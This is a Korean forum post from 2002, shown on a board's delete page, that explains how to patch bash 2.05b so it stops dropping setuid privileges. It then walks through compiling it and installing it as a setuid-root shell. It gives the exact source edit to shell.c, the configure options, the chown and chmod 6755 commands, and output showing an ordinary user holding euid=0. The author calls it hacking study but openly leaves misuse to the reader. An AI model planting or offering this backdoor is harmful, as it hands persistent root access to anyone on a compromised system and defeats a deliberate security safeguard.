>> Delete No. 2823 article
No. bash 최신 버전으로 root shell 만들기

등록 2002-09-11 23:05:00     조회 4
이름 godyang    

		안녕하세요?
 요즘은 기초적인 해킹 공부를 하려고 해도 shell level에서 setuid를 막아버
려 간단한 방법으로는 root shell을 만들기가 어렵게 되어 있습니다.
 이 문서는 최신 버전 bash(현재 2.05b)를 기준으로 root shell을 만드는 방
법에 대해 간단히 적혀있습니다.
 해킹 공부 목적에 사용하시건, 악용하시건, 사용자 마음이지만, 책임도 같
이 지시기 바랍니다. :)
  ** 준비물 **
bash 최신 버전 (bash-2.05b.tar.gz)
슈퍼 유저 권한
 bash 최신 버전은 ftp.gnu.org에 공식 배포본을 구하실 수 있으며,
ftp.linux.sarang.net에서도 미러링되어 있습니다. 슈퍼 유저 권한은 따로
설명하지 않겠습니다.
  ** root shell 만들기 **
우선 bash 소스를 압축 푼 뒤에 shell.c를 수정해야 합니다.
2.05b를 기준으로 442라인에 보시면 아래의 구문이 있습니다. (타 버전에서
는 위, 아래 라인을 잘 살펴보세요)
 if (running_setuid && privileged_mode == 0)
  disable_priv_mode ();
 간단합니다. disable_prov_mode()부분을 주석 처리해 버립시다.
 ->
if (running_setuid && privileged_mode == 0);
  /* disable_priv_mode (); */
 if문 뒤에 세미콜론을 찍는 것을 까먹지 마시고...
 다음에 컴파일 해야 합니다. 좀 더 완벽한 루트쉘을 위한 configure옵션을
적는다면...
 $ ./configure --enable-static-link --disable-history
 뭐 적당한 옵션을 줘서 configure하고 make하면 bash 바이너리 파일이 컴파
일됩니다.
 다음에 루트 권한으로 쑤시는 명령들...
 # chown root.root bash
# chmod 6755 bash
# ls -l bash
-rwsr-sr-x    1 root     root      2264774  9월 11 22:03 bash
#
 오.. 이쁜 루트쉘이 탄생했군요. 그럼 일반 유저 권한으로 실행해보면...
 $ ./bash
# id
# uid=1000(xxxx) gid=100(users) euid=0(root) egid=0(root) groups=100
(users)
 euid, guid가 root로 된 것을 확인할 수 있습니다.
  유용하게 쓰셨으면 하며... 쉬운 내용이지만 가능한 한 악용하지 말아 주셨
으면 합니다.
 그럼...
[관리자] 패스워드를 입력 하십시오. 답장이 존재하면 함께 삭제됩니다.[ 목록 | 이전 ]
패스워드:    

Copyleft 1999-2026 by JSBoard Open Project
Theme Designed by IDOO All right reserved